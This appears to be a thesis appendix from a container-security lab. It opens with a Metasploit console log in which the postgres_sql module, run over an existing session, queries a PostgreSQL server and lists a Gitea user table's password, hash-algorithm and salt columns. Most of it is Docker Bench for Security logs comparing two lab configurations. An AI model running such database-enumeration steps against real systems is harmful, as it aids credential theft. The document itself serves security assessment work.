msf6 auxiliary(admin/postgres/postgres_sql) > set SESSION 2
SESSION => 2
msf6 auxiliary(admin/postgres/postgres_sql) > set SQL 'SELECT version();'
SQL => SELECT version();
msf6 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'SELECT version();'
===============================
version
-------
PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (U
buntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
[*] Auxiliary module execution completed
msf6 auxiliary(admin/postgres/postgres_sql) > set SQL "SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';"
SQL => SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';
msf6 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';'
==================================================================================================================================
column_name data_type
----------- ---------
allow_create_organization boolean
allow_git_hook boolean
allow_import_local boolean
avatar character varying
...
login_name character varying
login_source bigint
login_type integer
...
passwd character varying
passwd_hash_algo character varying
...
salt character varying
...
[*] Auxiliary module execution completed
\end{minted}
\end{code}
%\begin{code}
%\captionof{listing}{\texttt{metasplou123t}\footnote{Metasploit commands are entered into the metasploit console after starting it using the command \texttt{msfconsole}}}
%\label{log:base:metasploit:test2}
%\begin{minted}[breaklines,fontsize=\footnotesize]{text}
%Hello, World!
%\end{minted}
%\end{code}
\section{Docker Bench Results}\label{appendix:docker_bench}
Docker Bench for Security is a tool based in the CIS Docker benchmark\footnote{\url{https://www.cisecurity.org/benchmark/docker}}. Docker Bench generates a \texttt{.log} file and a \texttt{.log.json} file; only the raw log files have been included, as they show the same data in a more compact format.
\begin{code}
\captionof{listing}{Base configuration}
\label{docker_bench:base}
\begin{minted}[breaklines,tabsize=2,breakanywhere,fontsize=\footnotesize]{text}
Initializing 2025-05-18T11:42:35+00:00
Section A - Check results[0m
[INFO][0m 1 - Host Configuration
[INFO][0m 1.1 - Linux Hosts Specific Configuration
[WARN][0m 1.1.1 - Ensure a separate partition for containers has been created (Automated)
[INFO][0m 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
[INFO][0m * Users: vagrant,git
[WARN][0m 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated)
[WARN][0m 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)
[WARN][0m 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)
[WARN][0m 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)
[WARN][0m 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated)
[WARN][0m 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)
[WARN][0m 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated)
[WARN][0m 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)
[INFO][0m 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)
[INFO][0m * File not found
[WARN][0m 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)
[INFO][0m 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)
[INFO][0m * File not found
[WARN][0m 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)
[WARN][0m 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)
[WARN][0m 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)
[WARN][0m 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)
[WARN][0m 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)
[INFO][0m 1.2 - General Configuration
[NOTE][0m 1.2.1 - Ensure the container host has been Hardened (Manual)
[PASS][0m 1.2.2 - Ensure that the version of Docker is up to date (Manual)
[INFO][0m * Using 28.1.1 which is current
[INFO][0m * Check with your operating system vendor for support and security maintenance for Docker
[INFO][0m 2 - Docker daemon configuration
[NOTE][0m 2.1 - Run the Docker daemon as a non-root user, if possible (Manual)
[WARN][0m 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored)
[PASS][0m 2.3 - Ensure the logging level is set to 'info' (Scored)
[PASS][0m 2.4 - Ensure Docker is allowed to make changes to iptables (Scored)
[PASS][0m 2.5 - Ensure insecure registries are not used (Scored)
[PASS][0m 2.6 - Ensure aufs storage driver is not used (Scored)
[INFO][0m 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored)
[INFO][0m * Docker daemon not listening on TCP
[INFO][0m 2.8 - Ensure the default ulimit is configured appropriately (Manual)
[INFO][0m * Default ulimit doesn't appear to be set
[WARN][0m 2.9 - Enable user namespace support (Scored)
[PASS][0m 2.10 - Ensure the default cgroup usage has been confirmed (Scored)
[PASS][0m 2.11 - Ensure base device size is not changed until needed (Scored)
[WARN][0m 2.12 - Ensure that authorization for Docker client commands is enabled (Scored)
[WARN][0m 2.13 - Ensure centralized and remote logging is configured (Scored)
[WARN][0m 2.14 - Ensure containers are restricted from acquiring new privileges (Scored)
[WARN][0m 2.15 - Ensure live restore is enabled (Scored)
[WARN][0m 2.16 - Ensure Userland Proxy is Disabled (Scored)
[INFO][0m 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)
[INFO][0m Ensure that experimental features are not implemented in production (Scored) (Deprecated)
[INFO][0m 3 - Docker daemon configuration files
[PASS][0m 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated)
[PASS][0m 3.2 - Ensure that docker.service file permissions are appropriately set (Automated)
[PASS][0m 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated)
[PASS][0m 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)
[PASS][0m 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated)
[PASS][0m 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)
[INFO][0m 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated)
[INFO][0m * Directory not found
[INFO][0m 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * Directory not found
[INFO][0m 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated)
[INFO][0m * No TLS CA certificate found
[INFO][0m 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * No TLS CA certificate found
[INFO][0m 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated)
[INFO][0m * No TLS Server certificate found
[INFO][0m 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * No TLS Server certificate found
[INFO][0m 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated)
[INFO][0m * No TLS Key found
[INFO][0m 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated)
[INFO][0m * No TLS Key found
[PASS][0m 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated)
[PASS][0m 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)
[INFO][0m 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated)
[INFO][0m * File not found
[INFO][0m 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)
[INFO][0m * File not found
[PASS][0m 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated)
[PASS][0m 3.20 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)
[INFO][0m 3.21 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)
[INFO][0m * File not found
[INFO][0m 3.22 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)
[INFO][0m * File not found
[PASS][0m 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated)
[PASS][0m 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)
[INFO][0m 4 - Container Images and Build File
[WARN][0m 4.1 - Ensure that a user for the container has been created (Automated)
[WARN][0m * Running as root: vaultwarden-db
[WARN][0m * Running as root: nginx
[WARN][0m * Running as root: vaultwarden
[WARN][0m * Running as root: vagrant-vulnerable-1
[WARN][0m * Running as root: gitea-db
[WARN][0m * Running as root: gitea
[NOTE][0m 4.2 - Ensure that containers use only trusted base images (Manual)
[NOTE][0m 4.3 - Ensure that unnecessary packages are not installed in the container (Manual)
[NOTE][0m 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual)
[WARN][0m 4.5 - Ensure Content trust for Docker is Enabled (Automated)
[WARN][0m 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated)
[WARN][0m * No Healthcheck found: [vagrant-vulnerable:latest]
[WARN][0m * No Healthcheck found: [docker.gitea.com/gitea:latest]
[WARN][0m * No Healthcheck found: [postgres:latest]
[WARN][0m * No Healthcheck found: [nginx:latest]
[INFO][0m 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual)
[INFO][0m * Update instruction found: [vagrant-vulnerable:latest]
[INFO][0m * Update instruction found: [postgres:latest]
[NOTE][0m 4.8 - Ensure setuid and setgid permissions are removed (Manual)
[INFO][0m 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual)
[INFO][0m * ADD in image history: [vagrant-vulnerable:latest]
[INFO][0m * ADD in image history: [vaultwarden/server:latest]
[NOTE][0m 4.10 - Ensure secrets are not stored in Dockerfiles (Manual)
[NOTE][0m 4.11 - Ensure only verified packages are installed (Manual)
[NOTE][0m 4.12 - Ensure all signed artifacts are validated (Manual)
[INFO][0m 5 - Container Runtime
[PASS][0m 5.1 - Ensure swarm mode is not Enabled, if not needed (Automated)
[PASS][0m 5.2 - Ensure that, if applicable, an AppArmor Profile is enabled (Automated)
[WARN][0m 5.3 - Ensure that, if applicable, SELinux security options are set (Automated)
[WARN][0m * No SecurityOptions Found: vaultwarden-db
[WARN][0m * No SecurityOptions Found: nginx
[WARN][0m * No SecurityOptions Found: vaultwarden
[WARN][0m * No SecurityOptions Found: vagrant-vulnerable-1
[WARN][0m * No SecurityOptions Found: gitea-db
[WARN][0m * No SecurityOptions Found: gitea
[PASS][0m 5.4 - Ensure that Linux kernel capabilities are restricted within containers (Automated)
[PASS][0m 5.5 - Ensure that privileged containers are not used (Automated)
[PASS][0m 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
[WARN][0m 5.7 - Ensure sshd is not run within containers (Automated)
[WARN][0m * Container running sshd: vagrant-vulnerable-1
[WARN][0m * Container running sshd: gitea
[WARN][0m 5.8 - Ensure privileged ports are not mapped within containers (Automated)
[WARN][0m * Privileged Port in use: 80 in nginx
[WARN][0m * Privileged Port in use: 443 in nginx
[WARN][0m 5.9 - Ensure that only needed ports are open on the container (Manual)
[WARN][0m * Port in use: 80 in nginx
[WARN][0m * Port in use: 443 in nginx
[WARN][0m * Port in use: 2222 in vagrant-vulnerable-1
[PASS][0m 5.10 - Ensure that the host's network namespace is not shared (Automated)
[WARN][0m 5.11 - Ensure that the memory usage for containers is limited (Automated)
[WARN][0m * Container running without memory restrictions: vaultwarden-db
[WARN][0m * Container running without memory restrictions: nginx
[WARN][0m * Container running without memory restrictions: vaultwarden
[WARN][0m * Container running without memory restrictions: vagrant-vulnerable-1
[WARN][0m * Container running without memory restrictions: gitea-db
[WARN][0m * Container running without memory restrictions: gitea
[WARN][0m 5.12 - Ensure that CPU priority is set appropriately on containers (Automated)
[WARN][0m * Container running without CPU restrictions: vaultwarden-db
[WARN][0m * Container running without CPU restrictions: nginx
[WARN][0m * Container running without CPU restrictions: vaultwarden
[WARN][0m * Container running without CPU restrictions: vagrant-vulnerable-1
[WARN][0m * Container running without CPU restrictions: gitea-db
[WARN][0m * Container running without CPU restrictions: gitea
[WARN][0m 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
[WARN][0m * Container running with root FS mounted R/W: vaultwarden-db
[WARN][0m * Container running with root FS mounted R/W: nginx
[WARN][0m * Container running with root FS mounted R/W: vaultwarden
[WARN][0m * Container running with root FS mounted R/W: vagrant-vulnerable-1
[WARN][0m * Container running with root FS mounted R/W: gitea-db
[WARN][0m * Container running with root FS mounted R/W: gitea
[WARN][0m 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in vagrant-vulnerable-1
[PASS][0m 5.15 - Ensure that the 'on-failure' container restart policy is set to '5' (Automated)
[PASS][0m 5.16 - Ensure that the host's process namespace is not shared (Automated)
[PASS][0m 5.17 - Ensure that the host's IPC namespace is not shared (Automated)
[PASS][0m 5.18 - Ensure that host devices are not directly exposed to containers (Manual)
[INFO][0m 5.19 - Ensure that the default ulimit is overwritten at runtime if needed (Manual)
[INFO][0m * Container no default ulimit override: vaultwarden-db
[INFO][0m * Container no default ulimit override: nginx
[INFO][0m * Container no default ulimit override: vaultwarden
[INFO][0m * Container no default ulimit override: vagrant-vulnerable-1
[INFO][0m * Container no default ulimit override: gitea-db
[INFO][0m * Container no default ulimit override: gitea
[PASS][0m 5.20 - Ensure mount propagation mode is not set to shared (Automated)
[PASS][0m 5.21 - Ensure that the host's UTS namespace is not shared (Automated)
[PASS][0m 5.22 - Ensure the default seccomp profile is not Disabled (Automated)
[NOTE][0m 5.23 - Ensure that docker exec commands are not used with the privileged option (Automated)
[NOTE][0m 5.24 - Ensure that docker exec commands are not used with the user=root option (Manual)
[PASS][0m 5.25 - Ensure that cgroup usage is confirmed (Automated)
[WARN][0m 5.26 - Ensure that the container is restricted from acquiring additional privileges (Automated)
[WARN][0m * Privileges not restricted: vaultwarden-db
[WARN][0m * Privileges not restricted: nginx
[WARN][0m * Privileges not restricted: vaultwarden
[WARN][0m * Privileges not restricted: vagrant-vulnerable-1
[WARN][0m * Privileges not restricted: gitea-db
[WARN][0m * Privileges not restricted: gitea
[WARN][0m 5.27 - Ensure that container health is checked at runtime (Automated)
[WARN][0m * Health check not set: vaultwarden-db
[WARN][0m * Health check not set: nginx
[WARN][0m * Health check not set: vagrant-vulnerable-1
[WARN][0m * Health check not set: gitea-db
[WARN][0m * Health check not set: gitea
[INFO][0m 5.28 - Ensure that Docker commands always make use of the latest version of their image (Manual)
[WARN][0m 5.29 - Ensure that the PIDs cgroup limit is used (Automated)
[WARN][0m * PIDs limit not set: vaultwarden-db
[WARN][0m * PIDs limit not set: nginx
[WARN][0m * PIDs limit not set: vaultwarden
[WARN][0m * PIDs limit not set: vagrant-vulnerable-1
[WARN][0m * PIDs limit not set: gitea-db
[WARN][0m * PIDs limit not set: gitea
[PASS][0m 5.30 - Ensure that Docker's default bridge 'docker0' is not used (Manual)
[PASS][0m 5.31 - Ensure that the host's user namespaces are not shared (Automated)
[PASS][0m 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)
[INFO][0m 6 - Docker Security Operations
[INFO][0m 6.1 - Ensure that image sprawl is avoided (Manual)
[INFO][0m * There are currently: 6 images
[INFO][0m 6.2 - Ensure that container sprawl is avoided (Manual)
[INFO][0m * There are currently a total of 6 containers, with 6 of them currently running
[INFO][0m 7 - Docker Swarm Configuration
[PASS][0m 7.1 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled)
[PASS][0m 7.2 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled)
[PASS][0m 7.3 - Ensure that all Docker swarm overlay networks are encrypted (Automated)
[PASS][0m 7.4 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled)
[PASS][0m 7.5 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled)
[PASS][0m 7.6 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled)
[PASS][0m 7.7 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS][0m 7.8 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS][0m 7.9 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
Section C - Score[0m
[INFO][0m Checks: 117
[INFO][0m Score: 1
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{Hybrid configuration}
\label{docker_bench:hybrid}
\begin{minted}[breaklines,tabsize=2,breakanywhere,fontsize=\footnotesize]{text}
Initializing 2025-05-18T12:00:06+00:00
Section A - Check results[0m
[INFO][0m 1 - Host Configuration
[INFO][0m 1.1 - Linux Hosts Specific Configuration
[WARN][0m 1.1.1 - Ensure a separate partition for containers has been created (Automated)
[INFO][0m 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
[INFO][0m * Users: vagrant,git
[WARN][0m 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated)
[WARN][0m 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)
[WARN][0m 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)
[WARN][0m 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)
[WARN][0m 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated)
[WARN][0m 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)
[WARN][0m 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated)
[WARN][0m 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)
[INFO][0m 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)
[INFO][0m * File not found
[WARN][0m 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)
[INFO][0m 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)
[INFO][0m * File not found
[WARN][0m 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)
[WARN][0m 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)
[WARN][0m 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)
[WARN][0m 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)
[WARN][0m 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)
[INFO][0m 1.2 - General Configuration
[NOTE][0m 1.2.1 - Ensure the container host has been Hardened (Manual)
[PASS][0m 1.2.2 - Ensure that the version of Docker is up to date (Manual)
[INFO][0m * Using 28.1.1 which is current
[INFO][0m * Check with your operating system vendor for support and security maintenance for Docker
[INFO][0m 2 - Docker daemon configuration
[NOTE][0m 2.1 - Run the Docker daemon as a non-root user, if possible (Manual)
[WARN][0m 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored)
[PASS][0m 2.3 - Ensure the logging level is set to 'info' (Scored)
[PASS][0m 2.4 - Ensure Docker is allowed to make changes to iptables (Scored)
[PASS][0m 2.5 - Ensure insecure registries are not used (Scored)
[PASS][0m 2.6 - Ensure aufs storage driver is not used (Scored)
[INFO][0m 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored)
[INFO][0m * Docker daemon not listening on TCP
[INFO][0m 2.8 - Ensure the default ulimit is configured appropriately (Manual)
[INFO][0m * Default ulimit doesn't appear to be set
[WARN][0m 2.9 - Enable user namespace support (Scored)
[PASS][0m 2.10 - Ensure the default cgroup usage has been confirmed (Scored)
[PASS][0m 2.11 - Ensure base device size is not changed until needed (Scored)
[WARN][0m 2.12 - Ensure that authorization for Docker client commands is enabled (Scored)
[WARN][0m 2.13 - Ensure centralized and remote logging is configured (Scored)
[WARN][0m 2.14 - Ensure containers are restricted from acquiring new privileges (Scored)
[WARN][0m 2.15 - Ensure live restore is enabled (Scored)
[WARN][0m 2.16 - Ensure Userland Proxy is Disabled (Scored)
[INFO][0m 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)
[INFO][0m Ensure that experimental features are not implemented in production (Scored) (Deprecated)
[INFO][0m 3 - Docker daemon configuration files
[PASS][0m 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated)
[PASS][0m 3.2 - Ensure that docker.service file permissions are appropriately set (Automated)
[PASS][0m 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated)
[PASS][0m 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)
[PASS][0m 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated)
[PASS][0m 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)
[INFO][0m 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated)
[INFO][0m * Directory not found
[INFO][0m 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * Directory not found
[INFO][0m 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated)
[INFO][0m * No TLS CA certificate found
[INFO][0m 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * No TLS CA certificate found
[INFO][0m 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated)
[INFO][0m * No TLS Server certificate found
[INFO][0m 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)
[INFO][0m * No TLS Server certificate found
[INFO][0m 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated)
[INFO][0m * No TLS Key found
[INFO][0m 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated)
[INFO][0m * No TLS Key found
[PASS][0m 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated)
[PASS][0m 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)
[INFO][0m 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated)
[INFO][0m * File not found
[INFO][0m 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)
[INFO][0m * File not found
[PASS][0m 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated)
[PASS][0m 3.20 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)
[INFO][0m 3.21 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)
[INFO][0m * File not found
[INFO][0m 3.22 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)
[INFO][0m * File not found
[PASS][0m 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated)
[PASS][0m 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)
[INFO][0m 4 - Container Images and Build File
[WARN][0m 4.1 - Ensure that a user for the container has been created (Automated)
[WARN][0m * Running as root: gitea
[WARN][0m * Running as root: vaultwarden
[WARN][0m * Running as root: nginx
[WARN][0m * Running as root: vagrant-vulnerable-1
[NOTE][0m 4.2 - Ensure that containers use only trusted base images (Manual)
[NOTE][0m 4.3 - Ensure that unnecessary packages are not installed in the container (Manual)
[NOTE][0m 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual)
[WARN][0m 4.5 - Ensure Content trust for Docker is Enabled (Automated)
[WARN][0m 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated)
[WARN][0m * No Healthcheck found: [vagrant-vulnerable:latest]
[WARN][0m * No Healthcheck found: [docker.gitea.com/gitea:latest]
[WARN][0m * No Healthcheck found: [nginx:latest]
[INFO][0m 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual)
[INFO][0m * Update instruction found: [vagrant-vulnerable:latest]
[NOTE][0m 4.8 - Ensure setuid and setgid permissions are removed (Manual)
[INFO][0m 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual)
[INFO][0m * ADD in image history: [vagrant-vulnerable:latest]
[INFO][0m * ADD in image history: [vaultwarden/server:latest]
[NOTE][0m 4.10 - Ensure secrets are not stored in Dockerfiles (Manual)
[NOTE][0m 4.11 - Ensure only verified packages are installed (Manual)
[NOTE][0m 4.12 - Ensure all signed artifacts are validated (Manual)
[INFO][0m 5 - Container Runtime
[PASS][0m 5.1 - Ensure swarm mode is not Enabled, if not needed (Automated)
[PASS][0m 5.2 - Ensure that, if applicable, an AppArmor Profile is enabled (Automated)
[WARN][0m 5.3 - Ensure that, if applicable, SELinux security options are set (Automated)
[WARN][0m * No SecurityOptions Found: gitea
[WARN][0m * No SecurityOptions Found: vaultwarden
[WARN][0m * No SecurityOptions Found: nginx
[WARN][0m * No SecurityOptions Found: vagrant-vulnerable-1
[PASS][0m 5.4 - Ensure that Linux kernel capabilities are restricted within containers (Automated)
[PASS][0m 5.5 - Ensure that privileged containers are not used (Automated)
[PASS][0m 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
[WARN][0m 5.7 - Ensure sshd is not run within containers (Automated)
[WARN][0m * Container running sshd: gitea
[WARN][0m * Container running sshd: vagrant-vulnerable-1
[WARN][0m 5.8 - Ensure privileged ports are not mapped within containers (Automated)
[WARN][0m * Privileged Port in use: 80 in nginx
[WARN][0m * Privileged Port in use: 443 in nginx
[WARN][0m 5.9 - Ensure that only needed ports are open on the container (Manual)
[WARN][0m * Port in use: 80 in nginx
[WARN][0m * Port in use: 443 in nginx
[WARN][0m * Port in use: 2222 in vagrant-vulnerable-1
[PASS][0m 5.10 - Ensure that the host's network namespace is not shared (Automated)
[WARN][0m 5.11 - Ensure that the memory usage for containers is limited (Automated)
[WARN][0m * Container running without memory restrictions: gitea
[WARN][0m * Container running without memory restrictions: vaultwarden
[WARN][0m * Container running without memory restrictions: nginx
[WARN][0m * Container running without memory restrictions: vagrant-vulnerable-1
[WARN][0m 5.12 - Ensure that CPU priority is set appropriately on containers (Automated)
[WARN][0m * Container running without CPU restrictions: gitea
[WARN][0m * Container running without CPU restrictions: vaultwarden
[WARN][0m * Container running without CPU restrictions: nginx
[WARN][0m * Container running without CPU restrictions: vagrant-vulnerable-1
[WARN][0m 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
[WARN][0m * Container running with root FS mounted R/W: gitea
[WARN][0m * Container running with root FS mounted R/W: vaultwarden
[WARN][0m * Container running with root FS mounted R/W: nginx
[WARN][0m * Container running with root FS mounted R/W: vagrant-vulnerable-1
[WARN][0m 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in vagrant-vulnerable-1
[PASS][0m 5.15 - Ensure that the 'on-failure' container restart policy is set to '5' (Automated)
[PASS][0m 5.16 - Ensure that the host's process namespace is not shared (Automated)
[PASS][0m 5.17 - Ensure that the host's IPC namespace is not shared (Automated)
[PASS][0m 5.18 - Ensure that host devices are not directly exposed to containers (Manual)
[INFO][0m 5.19 - Ensure that the default ulimit is overwritten at runtime if needed (Manual)
[INFO][0m * Container no default ulimit override: gitea
[INFO][0m * Container no default ulimit override: vaultwarden
[INFO][0m * Container no default ulimit override: nginx
[INFO][0m * Container no default ulimit override: vagrant-vulnerable-1
[PASS][0m 5.20 - Ensure mount propagation mode is not set to shared (Automated)
[PASS][0m 5.21 - Ensure that the host's UTS namespace is not shared (Automated)
[PASS][0m 5.22 - Ensure the default seccomp profile is not Disabled (Automated)
[NOTE][0m 5.23 - Ensure that docker exec commands are not used with the privileged option (Automated)
[NOTE][0m 5.24 - Ensure that docker exec commands are not used with the user=root option (Manual)
[PASS][0m 5.25 - Ensure that cgroup usage is confirmed (Automated)
[WARN][0m 5.26 - Ensure that the container is restricted from acquiring additional privileges (Automated)
[WARN][0m * Privileges not restricted: gitea
[WARN][0m * Privileges not restricted: vaultwarden
[WARN][0m * Privileges not restricted: nginx
[WARN][0m * Privileges not restricted: vagrant-vulnerable-1
[WARN][0m 5.27 - Ensure that container health is checked at runtime (Automated)
[WARN][0m * Health check not set: gitea
[WARN][0m * Health check not set: nginx
[WARN][0m * Health check not set: vagrant-vulnerable-1
[INFO][0m 5.28 - Ensure that Docker commands always make use of the latest version of their image (Manual)
[WARN][0m 5.29 - Ensure that the PIDs cgroup limit is used (Automated)
[WARN][0m * PIDs limit not set: gitea
[WARN][0m * PIDs limit not set: vaultwarden
[WARN][0m * PIDs limit not set: nginx
[WARN][0m * PIDs limit not set: vagrant-vulnerable-1
[PASS][0m 5.30 - Ensure that Docker's default bridge 'docker0' is not used (Manual)
[PASS][0m 5.31 - Ensure that the host's user namespaces are not shared (Automated)
[PASS][0m 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)
[INFO][0m 6 - Docker Security Operations
[INFO][0m 6.1 - Ensure that image sprawl is avoided (Manual)
[INFO][0m * There are currently: 4 images
[INFO][0m 6.2 - Ensure that container sprawl is avoided (Manual)
[INFO][0m * There are currently a total of 4 containers, with 4 of them currently running
[INFO][0m 7 - Docker Swarm Configuration
[PASS][0m 7.1 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled)
[PASS][0m 7.2 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled)
[PASS][0m 7.3 - Ensure that all Docker swarm overlay networks are encrypted (Automated)
[PASS][0m 7.4 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled)
[PASS][0m 7.5 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled)
[PASS][0m 7.6 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled)
